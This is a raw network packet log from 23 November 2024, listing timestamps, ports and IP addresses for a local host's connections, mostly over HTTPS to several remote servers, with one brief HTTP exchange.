Nov 23, 2024 19:52:29.778450012 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.778563976 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.780128002 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.780209064 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.780261993 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.780325890 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.838337898 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.838378906 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.838530064 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.853846073 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.853876114 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.868779898 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.868815899 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.868832111 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.868839979 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.935910940 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.935997009 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.936069012 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.948283911 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.948302984 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.015278101 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.015278101 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.015307903 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.015326023 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.096767902 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.096827030 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.096930981 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.114276886 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.114300013 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.122714043 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:30.122780085 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:30.144906044 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.144992113 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.145073891 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.153201103 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.153290987 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.153378010 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.246551991 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.246654034 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.246697903 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.246717930 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.246779919 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.246797085 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.357135057 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.357144117 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.357239008 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.364995003 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.365029097 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.365098000 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.434482098 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.434537888 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.492360115 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.492480993 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:30.492575884 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.492744923 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.492779970 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:30.496603966 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:30.496633053 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:30.512479067 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.512520075 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:30.512593985 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.512911081 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.512919903 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:30.513789892 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.513833046 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:30.513907909 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.514091969 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.514122009 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:30.648390055 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.648436069 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:30.648616076 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.649347067 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:30.649364948 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:31.312704086 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.312735081 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:31.351993084 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.352013111 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:31.636004925 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.636583090 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:31.636616945 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.637115002 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:31.637123108 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.669892073 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.670382023 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:31.670397043 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.671001911 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:31.671009064 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.682245970 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:31.682322979 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.682372093 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:31.682420969 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.682426929 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:31.682473898 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.682554007 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.682579041 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:31.682589054 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.682625055 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:31.985379934 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.985992908 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:31.986007929 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:31.986527920 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:31.986535072 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.087137938 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.087210894 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.087454081 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.087491035 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.087521076 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.087555885 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.087563992 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.091432095 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.091481924 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.091577053 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.091749907 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.091769934 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.105807066 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.105963945 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.106070042 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.106230021 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.106230021 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.106242895 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.106251001 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.109908104 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.109955072 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.110336065 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.110526085 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.110538960 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.344774961 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.345103979 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.345133066 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.346088886 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.346247911 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.346307039 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.346369028 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.346390009 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.347470045 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.347541094 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.347801924 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.347950935 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.348238945 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.348304987 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.348486900 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.348498106 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.348570108 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.348577023 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.367225885 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.367969990 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.367990971 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.368534088 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.368539095 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.422136068 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.422410965 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.422430992 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.423675060 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.423729897 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.424088955 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.424164057 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.424253941 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.424264908 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.429900885 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.430516958 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.430541992 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.431047916 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.431054115 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.431319952 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.434099913 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.435383081 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.435398102 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.436430931 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.436497927 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.436824083 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.436888933 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.437028885 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.437037945 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.443658113 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.443731070 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.443875074 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.444042921 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.444065094 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.444080114 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.444087029 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.447434902 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.447472095 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.447557926 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.447737932 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.447752953 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.472157955 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.472265005 CET	443	49774	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:32.472327948 CET	49774	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.541033983 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.541068077 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:32.826205969 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.826278925 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.826426983 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.826814890 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.826814890 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.826838970 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.826850891 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.829860926 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.829910994 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.829972029 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.830157042 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.830173969 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.882483006 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.882637024 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.882709980 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.882899046 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.882924080 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.882936001 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.882946014 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.887056112 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.887085915 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:32.887197018 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.887460947 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:32.887475014 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:33.198836088 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.198997974 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.199080944 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.200855970 CET	49773	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.200897932 CET	443	49773	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.299345016 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.299508095 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.299653053 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.310059071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:33.310125113 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:33.320159912 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.320242882 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.320301056 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.320318937 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.320372105 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.323117971 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.323132992 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.333816051 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.334109068 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.334513903 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.334532022 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.334583998 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.355227947 CET	49775	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.355293989 CET	443	49775	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.401238918 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.448126078 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.448193073 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.448203087 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.507699966 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.507906914 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.507925034 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.532721996 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.532803059 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.532804966 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.532821894 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.532861948 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.535773039 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.547071934 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.547616959 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.547626972 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.557549953 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.558670998 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.559935093 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.559942961 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.563611984 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.567398071 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.577506065 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.580038071 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.580048084 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.587656975 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.588069916 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.588078976 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.602377892 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.603590965 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.603599072 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.614376068 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.615927935 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.615935087 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.627556086 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.627659082 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.627665997 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.664277077 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.667438030 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.667445898 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.723629951 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.723669052 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.727325916 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.727392912 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.727472067 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.727483988 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.729598045 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.732888937 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.736692905 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.741646051 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.741652966 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.742357969 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.744626045 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.744632959 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.755038023 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.755609035 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.755615950 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.766556025 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.768131018 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.768146992 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.778506041 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.778614998 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.778625011 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.789170980 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.791670084 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.791677952 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.799303055 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.800261021 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.800270081 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.808479071 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.808665991 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.808674097 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.816042900 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.816153049 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.816160917 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.823435068 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.824713945 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.824722052 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.891810894 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:33.893501043 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:33.893537998 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:33.893999100 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:33.894007921 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:33.931533098 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.950221062 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.951658964 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.951832056 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.951913118 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.951926947 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.952078104 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.954762936 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.957707882 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.957835913 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.957843065 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.960463047 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.960594893 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.960602999 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.963190079 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.963288069 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.963294983 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.966135979 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.966197968 CET	49776	443	192.168.2.6	172.217.21.36
